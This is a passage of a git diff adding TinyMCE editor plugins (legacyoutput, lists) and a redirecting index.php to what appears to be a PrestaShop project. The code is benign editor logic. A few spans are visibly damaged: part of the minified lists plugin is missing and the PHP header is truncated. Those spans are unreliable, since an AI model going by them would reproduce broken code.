{ + control.select(function(value) { + var index = tinymce.inArray(fontSizes, value.fontSize); + + return index + 1 == fontSize; + }); + } + }); + }); + }, + + getInfo : function() { + return { + longname : 'LegacyOutput', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/legacyoutput', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('legacyoutput', tinymce.plugins.LegacyOutput); +})(tinymce); diff --git a/js/tiny_mce2/plugins/legacyoutput/index.php b/js/tiny_mce2/plugins/legacyoutput/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/legacyoutput/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/lists/editor_plugin.js b/js/tiny_mce2/plugins/lists/editor_plugin.js new file mode 100755 index 0000000..a5afe90 --- /dev/null +++ b/js/tiny_mce2/plugins/lists/editor_plugin.js @@ -0,0 +1 @@ +(function(){var e=tinymce.each,r=tinymce.dom.Event,g;function p(t,s){while(t&&(t.nodeType===8||(t.nodeType===3&&/^[ \t\n\r]*$/.test(t.nodeValue)))){t=s(t)}return t}function b(s){return p(s,function(t){return t.previousSibling})}function i(s){return p(s,function(t){return t.nextSibling})}function d(s,u,t){return s.dom.getParent(u,function(v){return tinymce.inArray(t,v)!==-1})}function n(s){return s&&(s.tagName==="OL"||s.tagName==="UL")}function c(u,v){var t,w,s;t=b(u.lastChild);while(n(t)){w=t;t=b(w.previousSibling)}if(w){s=v.create("li",{style:"list-style-type: none;"});v.split(u,w);v.insertAfter(s,w);s.appendChild(w);s.appendChild(w);u=s.previousSibling}return u}function m(t,s,u){t=a(t,s,u);return o(t,s,u)}function a(u,s,v){var t=b(u.previousSibling);if(t){return h(t,u,s?t:false,v)}else{return u}}function o(u,t,v){var s=i(u.nextSibling);if(s){return h(u,s,t?s:false,v)}else{return u}}function h(u,s,t,v){if(l(u,s,!!t,v)){return f(u,s,t)}else{if(u&&u.tagName==="LI"&&n(s)){u.appendChild(s)}}return s}function l(u,t,s,v){if(!u||!t){return false}else{if(u.tagName==="LI"&&t.tagName==="LI"){return t.style.listStyleType==="none"||j(t)}else{if(n(u)){return(u.tagName===t.tagName&&(s||u.style.listStyleType===t.style.listStyleType))||q(t)}else{return v&&u.tagName==="P"&&t.tagName==="P"}}}}function q(t){var s=i(t.firstChild),u=b(t.lastChild);return s&&u&&n(t)&&s===u&&(n(s)||s.style.listStyleType==="none"||j(s))}function j(u){var t=i(u.firstChild),s=b(u.lastChild);return t&&s&&t===s&&n(t)}function f(w,v,s){var u=b(w.lastChild),t=i(v.firstChild);if(w.tagName==="P"){w.appendChild(w.ownerDocument.createElement("br"))}while(v.firstChild){w.appendChild(v.firstChild)}if(s){w.style.listStyleType=s.style.listStyleType}v.parentNode.removeChild(v);h(u,t,false);return w}function k(t,u){var s;if(!u.is(t,"li,ol,ul")){s=u.getParent(t,"li");if(s){t=s}}return t}tinymce.create("tinymce.plugins.Lists",{init:function(y){var v="TABBING";var s="EMPTY";var J="ESCAPE";var z="PARAGRAPH";var N="UNKNOWN";var x=N;function E(U){return U.keyCode===tinymce.VK.TAB&&!(U.altKey||U.ctrlKey)&&(y.queryCommandState("InsertUnorderedList")||y.queryCommandState("InsertOrderedList"))}function w(){var U=B();var W=U.parentNode.parentNode;var V=U.parentNode.lastChild===U;return V&&!t(W)&&P(U)}function t(U){if(n(U)){return U.parentNode&&U.parentNode.tagName==="LI"}else{return U.tagName==="LI"}}function F(){return y.selection.isCollapsed()&&P(B())}function B(){var U=y.selection.getStart();return((U.tagName=="BR"||U.tagName=="")&&U.parentNode.tagName=="LI")?U.parentNode:U}function P(U){var V=U.childNodes.length;if(U.tagName==="LI"){return V==0?true:V==1&&(U.firstChild.tagName==""||U.firstChild.tagName=="BR"||H(U))}return false}function H(U){var V=tinymce.grep(U.parentNode.childNodes,function(Y){return Y.tagName=="LI"});var W=U==V[V.length-1];var X=U.firstChild;return tinymce.isIE9&&W&&(X.nodeValue==String.fromCharCode(160)||X.nodeValue==String.fromCharCode(32))}function T(U){return U.keyCode===tinymce.VK.ENTER}function A(U){return T(U)&&!U.shiftKey}function M(U){if(E(U)){return v}else{if(A(U)&&w()){return J}else{if(A(U)&&F()){return s}else{return N}}}}function D(U,V){if(x==v||x==s||tinymce.isGecko&&x==J){r.cancel(V)}}function C(){var U=y.selection.getRng(true);var V=U.startContainer;if(V.nodeType==3){var W=V.nodeValue;if(tinymce.isIE9&&W.length>1&&W.charCodeAt(W.length-1)==32){return(U.endOffset==W.length-1)}else{return(U.endOffset==W.length)}}else{if(V.nodeType==1){return U.endOffset==V.childNodes.length}}return false}function I(){var W=y.selection.getNode();var V="h1,h2,h3,h4,h5,h6,p,div";var U=y.dom.is(W,V)&&W.parentNode.tagName==="LI"&&W.parentNode.lastChild===W;return y.selection.isCollapsed()&&U&&C()}function K(W,Y){if(A(Y)&&I()){var X=W.selection.getNode();var V=W.dom.create("li");var U=W.dom.getParent(X,"li");W.dom.insertAfter(V,U);if(tinymce.isIE6||tinymce.isIE7||tinyMCE.isIE8){V.appendChild(W.dom.create(" "));W.selection.setCursorLocation(V,1)}else{if(tinyMCE.isGecko){setTimeout(function(){var Z=W.getDoc().createTextNode("\uFEFF");V.appendChild(Z);W.selection.setCursorLocation(V,0)},0)}else{W.selection.setCursorLocation(V,0)}}Y.preventDefault()}}function u(X,Z){var ac;if(!tinymce.isGecko){return}var V=X.selection.getStart();if(Z.keyCode!=tinymce.VK.BACKSPACE||V.tagName!=="IMG"){return}function W(ag){var ah=ag.firstChild;var af=null;do{if(!ah){break}if(ah.tagName==="LI"){af=ah}}while(ah=ah.nextSibling);return af}function ae(ag,af){while(ag.childNodes.length>0){af.appendChild(ag.childNodes[0])}}ac=V.parentNode.previousSibling;if(!ac){return}var aa;if(ac.tagName==="UL"||ac.tagName==="OL"){aa=ac}else{if(ac.previousSibling&&(ac.previousSibling.tagName==="UL"||ac.previousSibling.tagName==="OL")){aa=ac.previousSibling}else{return}}var ad=W(aa);var U=X.dom.createRng();U.setStart(ad,1);U.setEnd(ad,1);X.selection.setRng(U);X.selection.collapse(true);var Y=X.selection.getBookmark();var ab=V.parentNode.cloneNode(true);if(ab.tagName==="P"||ab.tagName==="DIV"){ae(ab,ad)}else{ad.appendChild(ab)}V.parentNode.parentNode.removeChild(V.parentNode);X.selection.moveToBookmark(Y)}function G(U){var V=y.dom.getParent(U,"ol,ul");if(V!=null){var W=V.lastChild;W.appendChild(y.getDoc().createElement(""));y.selection.setCursorLocation(W,0)}}this.ed=y;y.addCommand("Indent",this.indent,this);y.addCommand("Outdent",this.outdent,this);y.addCommand("InsertUnorderedList",function(){this.applyList("UL","OL")},this);y.addCommand("InsertOrderedList",function(){this.applyList("OL","UL")},this);y.onInit.add(function(){y.editorCommands.addCommands({outdent:function(){var V=y.selection,W=y.dom;function U(X){X=W.getParent(X,W.isBlock);return X&&(parseInt(y.dom.getStyle(X,"margin-left")||0,10)+parseInt(y.dom.getStyle(X,"padding-left")||0,10))>0}return U(V.getStart())||U(V.getEnd())||y.queryCommandState("InsertOrderedList")||y.queryCommandState("InsertUnorderedList")}},"state")});y.onKeyUp.add(function(V,W){if(x==v){V.execCommand(W.shiftKey?"Outdent":"Indent",true,null);x=N;return r.cancel(W)}else{if(x==s){var U=B();var Y=V.settings.list_outdent_on_enter===true||W.shiftKey;V.execCommand(Y?"Outdent":"Indent",true,null);if(tinymce.isIE){G(U)}return r.cancel(W)}else{if(x==J){if(tinymce.isIE6||tinymce.isIE7||tinymce.isIE8){var X=V.getDoc().createTextNode("\uFEFF");V.selection.getNode().appendChild(X)}else{if(tinymce.isIE9||tinymce.isGecko){V.execCommand("Outdent");return r.cancel(W)}}}}}});function L(V,U){var W=y.getDoc().createTextNode("\uFEFF");V.insertBefore(W,U);y.selection.setCursorLocation(W,0);y.execCommand("mceRepaint")}function R(V,X){if(T(X)){var U=B();if(U){var W=U.parentNode;var Y=W&&W.parentNode;if(Y&&Y.nodeName=="LI"&&Y.firstChild==W&&U==W.firstChild){L(Y,W)}}}}function S(V,X){if(T(X)){var U=B();if(V.dom.select("ul li",U).length===1){var W=U.firstChild;L(U,W)}}}function Q(V,Z){function W(ad,aa){var ac=[];var ae=new tinymce.dom.TreeWalker(aa,ad);for(var ab=ae.current();ab;ab=ae.next()){if(V.dom.is(ab,"ol,ul,li")){ac.push(ab)}}return ac}if(Z.keyCode==tinymce.VK.BACKSPACE){var U=B();if(U){var Y=V.dom.getParent(U,"ol,ul");if(Y&&Y.firstChild===U){var X=W(Y,U);V.execCommand("Outdent",false,X);V.undoManager.add();return r.cancel(Z)}}}}function O(V,X){var U=B();if(X.keyCode===tinymce.VK.BACKSPACE&&V.dom.is(U,"li")&&U.parentNode.firstChild!==U){if(V.dom.select("ul,ol",U).length===1){var Z=U.previousSibling;V.dom.remove(V.dom.select("br",U));V.dom.remove(U,true);var W=tinymce.grep(Z.childNodes,function(aa){return aa.nodeType===3});if(W.length===1){var Y=W[0];V.selection.setCursorLocation(Y,Y.length)}V.undoManager.add();return r.cancel(X)}}}y.onKeyDown.add(function(U,V){x=M(V)});y.onKeyDown.add(D);y.onKeyDown.add(u);y.onKeyDown.add(K);if(tinymce.isGecko){y.onKeyUp.add(R)}if(tinymce.isIE8){y.onKeyUp.add(S)}if(tinymce.isGecko||tinymce.isWebKit){y.onKeyDown.add(Q)}if(tinymce.isWebKit){y.onKeyDown.add(O)}},applyList:function(y,v){var C=this,z=C.ed,I=z.dom,s=[],H=false,u=false,w=false,B,G=z.selection.getSelectedBlocks();function E(t){if(t&&t.tagName==="BR"){I.remove(t)}}function F(M){var N=I.create(y),t;function L(O){if(O.style.marginLeft||O.style.paddingLeft){C.adjustPaddingFunction(false)(O)}}if(M.tagName==="LI"){}else{if(M.tagName==="P"||M.tagName==="DIV"||M.tagName==="BODY"){K(M,function(P,O){J(P,O,M.tagName==="BODY"?null:P.parentNode);t=P.parentNode;L(t);E(O)});if(t){if(t.tagName==="LI"&&(M.tagName==="P"||G.length>1)){I.split(t.parentNode.parentNode,t.parentNode)}m(t.parentNode,true)}return}else{t=I.create("li");I.insertAfter(t,M);t.appendChild(M);L(M);M=t}}I.insertAfter(N,M);N.appendChild(M);m(N,true);s.push(M)}function J(P,L,N){var t,O=P,M;while(!I.isBlock(P.parentNode)&&P.parentNode!==I.getRoot()){P=I.split(P.parentNode,P.previousSibling);P=P.nextSibling;O=P}if(N){t=N.cloneNode(true);P.parentNode.insertBefore(t,P);while(t.firstChild){I.remove(t.firstChild)}t=I.rename(t,"li")}else{t=I.create("li");P.parentNode.insertBefore(t,P)}while(O&&O!=L){M=O.nextSibling;t.appendChild(O);O=M}if(t.childNodes.length===0){t.innerHTML='
    '}F(t)}function K(Q,T){var N,R,O=3,L=1,t="br,ul,ol,p,div,h1,h2,h3,h4,h5,h6,table,blockquote,address,pre,form,center,dl";function P(X,U){var V=I.createRng(),W;g.keep=true;z.selection.moveToBookmark(g);g.keep=false;W=z.selection.getRng(true);if(!U){U=X.parentNode.lastChild}V.setStartBefore(X);V.setEndAfter(U);return !(V.compareBoundaryPoints(O,W)>0||V.compareBoundaryPoints(L,W)<=0)}function S(U){if(U.nextSibling){return U.nextSibling}if(!I.isBlock(U.parentNode)&&U.parentNode!==I.getRoot()){return S(U.parentNode)}}N=Q.firstChild;var M=false;e(I.select(t,Q),function(U){if(U.hasAttribute&&U.hasAttribute("_mce_bogus")){return true}if(P(N,U)){I.addClass(U,"_mce_tagged_br");N=S(U)}});M=(N&&P(N,undefined));N=Q.firstChild;e(I.select(t,Q),function(V){var U=S(V);if(V.hasAttribute&&V.hasAttribute("_mce_bogus")){return true}if(I.hasClass(V,"_mce_tagged_br")){T(N,V,R);R=null}else{R=V}N=U});if(M){T(N,undefined,R)}}function D(t){K(t,function(M,L,N){J(M,L);E(L);E(N)})}function A(t){if(tinymce.inArray(s,t)!==-1){return}if(t.parentNode.tagName===v){I.split(t.parentNode,t);F(t);o(t.parentNode,false)}s.push(t)}function x(M){var O,N,L,t;if(tinymce.inArray(s,M)!==-1){return}M=c(M,I);while(I.is(M.parentNode,"ol,ul,li")){I.split(M.parentNode,M)}s.push(M);M=I.rename(M,"p");L=m(M,false,z.settings.force_br_newlines);if(L===M){O=M.firstChild;while(O){if(I.isBlock(O)){O=I.split(O.parentNode,O);t=true;N=O.nextSibling&&O.nextSibling.firstChild}else{N=O.nextSibling;if(t&&O.tagName==="BR"){I.remove(O)}t=false}O=N}}}e(G,function(t){t=k(t,I);if(t.tagName===v||(t.tagName==="LI"&&t.parentNode.tagName===v)){u=true}else{if(t.tagName===y||(t.tagName==="LI"&&t.parentNode.tagName===y)){H=true}else{w=true}}});if(w&&!H||u||G.length===0){B={LI:A,H1:F,H2:F,H3:F,H4:F,H5:F,H6:F,P:F,BODY:F,DIV:G.length>1?F:D,defaultAction:D,elements:this.selectedBlocks()}}else{B={defaultAction:x,elements:this.selectedBlocks()}}this.process(B)},indent:function(){var u=this.ed,w=u.dom,x=[];function s(z){var y=w.create("li",{style:"list-style-type: none;"});w.insertAfter(y,z);return y}function t(B){var y=s(B),D=w.getParent(B,"ol,ul"),C=D.tagName,E=w.getStyle(D,"list-style-type"),A={},z;if(E!==""){A.style="list-style-type: "+E+";"}z=w.create(C,A);y.appendChild(z);return z}function v(z){if(!d(u,z,x)){z=c(z,w);var y=t(z);y.appendChild(z);m(y.parentNode,false);m(y,false);x.push(z)}}this.process({LI:v,defaultAction:this.adjustPaddingFunction(true),elements:this.selectedBlocks()})},outdent:function(y,x){var w=this,u=w.ed,z=u.dom,s=[];function A(t){var C,B,D;if(!d(u,t,s)){if(z.getStyle(t,"margin-left")!==""||z.getStyle(t,"padding-left")!==""){return w.adjustPaddingFunction(false)(t)}D=z.getStyle(t,"text-align",true);if(D==="center"||D==="right"){z.setStyle(t,"text-align","left");return}t=c(t,z);C=t.parentNode;B=t.parentNode.parentNode;if(B.tagName==="P"){z.split(B,t.parentNode)}else{z.split(C,t);if(B.tagName==="LI"){z.split(B,t)}else{if(!z.is(B,"ol,ul")){z.rename(t,"p")}}}s.push(t)}}var v=x&&tinymce.is(x,"array")?x:this.selectedBlocks();this.process({LI:A,defaultAction:this.adjustPaddingFunction(false),elements:v});e(s,m)},process:function(y){var F=this,w=F.ed.selection,z=F.ed.dom,E,u;function B(t){var s=tinymce.grep(t.childNodes,function(H){return !(H.nodeName==="BR"||H.nodeName==="SPAN"&&z.getAttrib(H,"data-mce-type")=="bookmark"||H.nodeType==3&&(H.nodeValue==String.fromCharCode(160)||H.nodeValue==""))});return s.length===0}function x(s){z.removeClass(s,"_mce_act_on");if(!s||s.nodeType!==1||E.length>1&&B(s)){return}s=k(s,z);var t=y[s.tagName];if(!t){t=y.defaultAction}t(s)}function v(s){F.splitSafeEach(s.childNodes,x)}function C(s,t){return t>=0&&s.hasChildNodes()&&t0){t=s.shift();w.removeClass(t,"_mce_act_on");u(t);s=w.select("._mce_act_on")}},adjustPaddingFunction:function(u){var s,v,t=this.ed;s=t.settings.indentation;v=/[a-z%]+/i.exec(s);s=parseInt(s,10);return function(w){var y,x;y=parseInt(t.dom.getStyle(w,"margin-left")||0,10)+parseInt(t.dom.getStyle(w,"padding-left")||0,10);if(u){x=y+s}else{x=y-s}t.dom.setStyle(w,"padding-left","");t.dom.setStyle(w,"margin-left",x>0?x+v:"")}},selectedBlocks:function(){var s=this.ed;var t=s.selection.getSelectedBlocks();return t.length==0?[s.dom.getRoot()]:t},getInfo:function(){return{longname:"Lists",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/lists",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("lists",tinymce.plugins.Lists)}()); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/lists/editor_plugin_src.js b/js/tiny_mce2/plugins/lists/editor_plugin_src.js new file mode 100755 index 0000000..ebe4fa5 --- /dev/null +++ b/js/tiny_mce2/plugins/lists/editor_plugin_src.js @@ -0,0 +1,954 @@ +/** + * editor_plugin_src.js + * + * Copyright 2011, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var each = tinymce.each, Event = tinymce.dom.Event, bookmark; + + // Skips text nodes that only contain whitespace since they aren't semantically important. + function skipWhitespaceNodes(e, next) { + while (e && (e.nodeType === 8 || (e.nodeType === 3 && /^[ \t\n\r]*$/.test(e.nodeValue)))) { + e = next(e); + } + return e; + } + + function skipWhitespaceNodesBackwards(e) { + return skipWhitespaceNodes(e, function(e) { + return e.previousSibling; + }); + } + + function skipWhitespaceNodesForwards(e) { + return skipWhitespaceNodes(e, function(e) { + return e.nextSibling; + }); + } + + function hasParentInList(ed, e, list) { + return ed.dom.getParent(e, function(p) { + return tinymce.inArray(list, p) !== -1; + }); + } + + function isList(e) { + return e && (e.tagName === 'OL' || e.tagName === 'UL'); + } + + function splitNestedLists(element, dom) { + var tmp, nested, wrapItem; + tmp = skipWhitespaceNodesBackwards(element.lastChild); + while (isList(tmp)) { + nested = tmp; + tmp = skipWhitespaceNodesBackwards(nested.previousSibling); + } + if (nested) { + wrapItem = dom.create('li', { style: 'list-style-type: none;'}); + dom.split(element, nested); + dom.insertAfter(wrapItem, nested); + wrapItem.appendChild(nested); + wrapItem.appendChild(nested); + element = wrapItem.previousSibling; + } + return element; + } + + function attemptMergeWithAdjacent(e, allowDifferentListStyles, mergeParagraphs) { + e = attemptMergeWithPrevious(e, allowDifferentListStyles, mergeParagraphs); + return attemptMergeWithNext(e, allowDifferentListStyles, mergeParagraphs); + } + + function attemptMergeWithPrevious(e, allowDifferentListStyles, mergeParagraphs) { + var prev = skipWhitespaceNodesBackwards(e.previousSibling); + if (prev) { + return attemptMerge(prev, e, allowDifferentListStyles ? prev : false, mergeParagraphs); + } else { + return e; + } + } + + function attemptMergeWithNext(e, allowDifferentListStyles, mergeParagraphs) { + var next = skipWhitespaceNodesForwards(e.nextSibling); + if (next) { + return attemptMerge(e, next, allowDifferentListStyles ? next : false, mergeParagraphs); + } else { + return e; + } + } + + function attemptMerge(e1, e2, differentStylesMasterElement, mergeParagraphs) { + if (canMerge(e1, e2, !!differentStylesMasterElement, mergeParagraphs)) { + return merge(e1, e2, differentStylesMasterElement); + } else if (e1 && e1.tagName === 'LI' && isList(e2)) { + // Fix invalidly nested lists. + e1.appendChild(e2); + } + return e2; + } + + function canMerge(e1, e2, allowDifferentListStyles, mergeParagraphs) { + if (!e1 || !e2) { + return false; + } else if (e1.tagName === 'LI' && e2.tagName === 'LI') { + return e2.style.listStyleType === 'none' || containsOnlyAList(e2); + } else if (isList(e1)) { + return (e1.tagName === e2.tagName && (allowDifferentListStyles || e1.style.listStyleType === e2.style.listStyleType)) || isListForIndent(e2); + } else return mergeParagraphs && e1.tagName === 'P' && e2.tagName === 'P'; + } + + function isListForIndent(e) { + var firstLI = skipWhitespaceNodesForwards(e.firstChild), lastLI = skipWhitespaceNodesBackwards(e.lastChild); + return firstLI && lastLI && isList(e) && firstLI === lastLI && (isList(firstLI) || firstLI.style.listStyleType === 'none' || containsOnlyAList(firstLI)); + } + + function containsOnlyAList(e) { + var firstChild = skipWhitespaceNodesForwards(e.firstChild), lastChild = skipWhitespaceNodesBackwards(e.lastChild); + return firstChild && lastChild && firstChild === lastChild && isList(firstChild); + } + + function merge(e1, e2, masterElement) { + var lastOriginal = skipWhitespaceNodesBackwards(e1.lastChild), firstNew = skipWhitespaceNodesForwards(e2.firstChild); + if (e1.tagName === 'P') { + e1.appendChild(e1.ownerDocument.createElement('br')); + } + while (e2.firstChild) { + e1.appendChild(e2.firstChild); + } + if (masterElement) { + e1.style.listStyleType = masterElement.style.listStyleType; + } + e2.parentNode.removeChild(e2); + attemptMerge(lastOriginal, firstNew, false); + return e1; + } + + function findItemToOperateOn(e, dom) { + var item; + if (!dom.is(e, 'li,ol,ul')) { + item = dom.getParent(e, 'li'); + if (item) { + e = item; + } + } + return e; + } + + tinymce.create('tinymce.plugins.Lists', { + init: function(ed) { + var LIST_TABBING = 'TABBING'; + var LIST_EMPTY_ITEM = 'EMPTY'; + var LIST_ESCAPE = 'ESCAPE'; + var LIST_PARAGRAPH = 'PARAGRAPH'; + var LIST_UNKNOWN = 'UNKNOWN'; + var state = LIST_UNKNOWN; + + function isTabInList(e) { + // Don't indent on Ctrl+Tab or Alt+Tab + return e.keyCode === tinymce.VK.TAB && !(e.altKey || e.ctrlKey) && + (ed.queryCommandState('InsertUnorderedList') || ed.queryCommandState('InsertOrderedList')); + } + + function isOnLastListItem() { + var li = getLi(); + var grandParent = li.parentNode.parentNode; + var isLastItem = li.parentNode.lastChild === li; + return isLastItem && !isNestedList(grandParent) && isEmptyListItem(li); + } + + function isNestedList(grandParent) { + if (isList(grandParent)) { + return grandParent.parentNode && grandParent.parentNode.tagName === 'LI'; + } else { + return grandParent.tagName === 'LI'; + } + } + + function isInEmptyListItem() { + return ed.selection.isCollapsed() && isEmptyListItem(getLi()); + } + + function getLi() { + var n = ed.selection.getStart(); + // Get start will return BR if the LI only contains a BR or an empty element as we use these to fix caret position + return ((n.tagName == 'BR' || n.tagName == '') && n.parentNode.tagName == 'LI') ? n.parentNode : n; + } + + function isEmptyListItem(li) { + var numChildren = li.childNodes.length; + if (li.tagName === 'LI') { + return numChildren == 0 ? true : numChildren == 1 && (li.firstChild.tagName == '' || li.firstChild.tagName == 'BR' || isEmptyIE9Li(li)); + } + return false; + } + + function isEmptyIE9Li(li) { + // only consider this to be last item if there is no list item content or that content is nbsp or space since IE9 creates these + var lis = tinymce.grep(li.parentNode.childNodes, function(n) {return n.tagName == 'LI'}); + var isLastLi = li == lis[lis.length - 1]; + var child = li.firstChild; + return tinymce.isIE9 && isLastLi && (child.nodeValue == String.fromCharCode(160) || child.nodeValue == String.fromCharCode(32)); + } + + function isEnter(e) { + return e.keyCode === tinymce.VK.ENTER; + } + + function isEnterWithoutShift(e) { + return isEnter(e) && !e.shiftKey; + } + + function getListKeyState(e) { + if (isTabInList(e)) { + return LIST_TABBING; + } else if (isEnterWithoutShift(e) && isOnLastListItem()) { + return LIST_ESCAPE; + } else if (isEnterWithoutShift(e) && isInEmptyListItem()) { + return LIST_EMPTY_ITEM; + } else { + return LIST_UNKNOWN; + } + } + + function cancelDefaultEvents(ed, e) { + // list escape is done manually using outdent as it does not create paragraphs correctly in td's + if (state == LIST_TABBING || state == LIST_EMPTY_ITEM || tinymce.isGecko && state == LIST_ESCAPE) { + Event.cancel(e); + } + } + + function isCursorAtEndOfContainer() { + var range = ed.selection.getRng(true); + var startContainer = range.startContainer; + if (startContainer.nodeType == 3) { + var value = startContainer.nodeValue; + if (tinymce.isIE9 && value.length > 1 && value.charCodeAt(value.length-1) == 32) { + // IE9 places a space on the end of the text in some cases so ignore last char + return (range.endOffset == value.length-1); + } else { + return (range.endOffset == value.length); + } + } else if (startContainer.nodeType == 1) { + return range.endOffset == startContainer.childNodes.length; + } + return false; + } + + /* + If we are at the end of a list item surrounded with an element, pressing enter should create a + new list item instead without splitting the element e.g. don't want to create new P or H1 tag + */ + function isEndOfListItem() { + var node = ed.selection.getNode(); + var validElements = 'h1,h2,h3,h4,h5,h6,p,div'; + var isLastParagraphOfLi = ed.dom.is(node, validElements) && node.parentNode.tagName === 'LI' && node.parentNode.lastChild === node; + return ed.selection.isCollapsed() && isLastParagraphOfLi && isCursorAtEndOfContainer(); + } + + // Creates a new list item after the current selection's list item parent + function createNewLi(ed, e) { + if (isEnterWithoutShift(e) && isEndOfListItem()) { + var node = ed.selection.getNode(); + var li = ed.dom.create("li"); + var parentLi = ed.dom.getParent(node, 'li'); + ed.dom.insertAfter(li, parentLi); + + // Move caret to new list element. + if (tinymce.isIE6 || tinymce.isIE7 || tinyMCE.isIE8) { + li.appendChild(ed.dom.create(" ")); // IE needs an element within the bullet point + ed.selection.setCursorLocation(li, 1); + } else if (tinyMCE.isGecko) { + // This setTimeout is a hack as FF behaves badly if there is no content after the bullet point + setTimeout(function () { + var n = ed.getDoc().createTextNode('\uFEFF'); + li.appendChild(n); + ed.selection.setCursorLocation(li, 0); + }, 0); + } else { + ed.selection.setCursorLocation(li, 0); + } + e.preventDefault(); + } + } + + function imageJoiningListItem(ed, e) { + var prevSibling; + + if (!tinymce.isGecko) + return; + + var n = ed.selection.getStart(); + if (e.keyCode != tinymce.VK.BACKSPACE || n.tagName !== 'IMG') + return; + + function lastLI(node) { + var child = node.firstChild; + var li = null; + do { + if (!child) + break; + + if (child.tagName === 'LI') + li = child; + } while (child = child.nextSibling); + + return li; + } + + function addChildren(parentNode, destination) { + while (parentNode.childNodes.length > 0) + destination.appendChild(parentNode.childNodes[0]); + } + + // Check if there is a previous sibling + prevSibling = n.parentNode.previousSibling; + if (!prevSibling) + return; + + var ul; + if (prevSibling.tagName === 'UL' || prevSibling.tagName === 'OL') + ul = prevSibling; + else if (prevSibling.previousSibling && (prevSibling.previousSibling.tagName === 'UL' || prevSibling.previousSibling.tagName === 'OL')) + ul = prevSibling.previousSibling; + else + return; + + var li = lastLI(ul); + + // move the caret to the end of the list item + var rng = ed.dom.createRng(); + rng.setStart(li, 1); + rng.setEnd(li, 1); + ed.selection.setRng(rng); + ed.selection.collapse(true); + + // save a bookmark at the end of the list item + var bookmark = ed.selection.getBookmark(); + + // copy the image an its text to the list item + var clone = n.parentNode.cloneNode(true); + if (clone.tagName === 'P' || clone.tagName === 'DIV') + addChildren(clone, li); + else + li.appendChild(clone); + + // remove the old copy of the image + n.parentNode.parentNode.removeChild(n.parentNode); + + // move the caret where we saved the bookmark + ed.selection.moveToBookmark(bookmark); + } + + // fix the cursor position to ensure it is correct in IE + function setCursorPositionToOriginalLi(li) { + var list = ed.dom.getParent(li, 'ol,ul'); + if (list != null) { + var lastLi = list.lastChild; + lastLi.appendChild(ed.getDoc().createElement('')); + ed.selection.setCursorLocation(lastLi, 0); + } + } + + this.ed = ed; + ed.addCommand('Indent', this.indent, this); + ed.addCommand('Outdent', this.outdent, this); + ed.addCommand('InsertUnorderedList', function() { + this.applyList('UL', 'OL'); + }, this); + ed.addCommand('InsertOrderedList', function() { + this.applyList('OL', 'UL'); + }, this); + + ed.onInit.add(function() { + ed.editorCommands.addCommands({ + 'outdent': function() { + var sel = ed.selection, dom = ed.dom; + + function hasStyleIndent(n) { + n = dom.getParent(n, dom.isBlock); + return n && (parseInt(ed.dom.getStyle(n, 'margin-left') || 0, 10) + parseInt(ed.dom.getStyle(n, 'padding-left') || 0, 10)) > 0; + } + + return hasStyleIndent(sel.getStart()) || hasStyleIndent(sel.getEnd()) || ed.queryCommandState('InsertOrderedList') || ed.queryCommandState('InsertUnorderedList'); + } + }, 'state'); + }); + + ed.onKeyUp.add(function(ed, e) { + if (state == LIST_TABBING) { + ed.execCommand(e.shiftKey ? 'Outdent' : 'Indent', true, null); + state = LIST_UNKNOWN; + return Event.cancel(e); + } else if (state == LIST_EMPTY_ITEM) { + var li = getLi(); + var shouldOutdent = ed.settings.list_outdent_on_enter === true || e.shiftKey; + ed.execCommand(shouldOutdent ? 'Outdent' : 'Indent', true, null); + if (tinymce.isIE) { + setCursorPositionToOriginalLi(li); + } + + return Event.cancel(e); + } else if (state == LIST_ESCAPE) { + if (tinymce.isIE6 || tinymce.isIE7 || tinymce.isIE8) { + // append a zero sized nbsp so that caret is positioned correctly in IE after escaping and applying formatting. + // if there is no text then applying formatting for e.g a H1 to the P tag immediately following list after + // escaping from it will cause the caret to be positioned on the last li instead of staying the in P tag. + var n = ed.getDoc().createTextNode('\uFEFF'); + ed.selection.getNode().appendChild(n); + } else if (tinymce.isIE9 || tinymce.isGecko) { + // IE9 does not escape the list so we use outdent to do this and cancel the default behaviour + // Gecko does not create a paragraph outdenting inside a TD so default behaviour is cancelled and we outdent ourselves + ed.execCommand('Outdent'); + return Event.cancel(e); + } + } + }); + + function fixListItem(parent, reference) { + // a zero-sized non-breaking space is placed in the empty list item so that the nested list is + // displayed on the below line instead of next to it + var n = ed.getDoc().createTextNode('\uFEFF'); + parent.insertBefore(n, reference); + ed.selection.setCursorLocation(n, 0); + // repaint to remove rendering artifact. only visible when creating new list + ed.execCommand('mceRepaint'); + } + + function fixIndentedListItemForGecko(ed, e) { + if (isEnter(e)) { + var li = getLi(); + if (li) { + var parent = li.parentNode; + var grandParent = parent && parent.parentNode; + if (grandParent && grandParent.nodeName == 'LI' && grandParent.firstChild == parent && li == parent.firstChild) { + fixListItem(grandParent, parent); + } + } + } + } + + function fixIndentedListItemForIE8(ed, e) { + if (isEnter(e)) { + var li = getLi(); + if (ed.dom.select('ul li', li).length === 1) { + var list = li.firstChild; + fixListItem(li, list); + } + } + } + + function fixDeletingFirstCharOfList(ed, e) { + function listElements(list, li) { + var elements = []; + var walker = new tinymce.dom.TreeWalker(li, list); + for (var node = walker.current(); node; node = walker.next()) { + if (ed.dom.is(node, 'ol,ul,li')) { + elements.push(node); + } + } + return elements; + } + + if (e.keyCode == 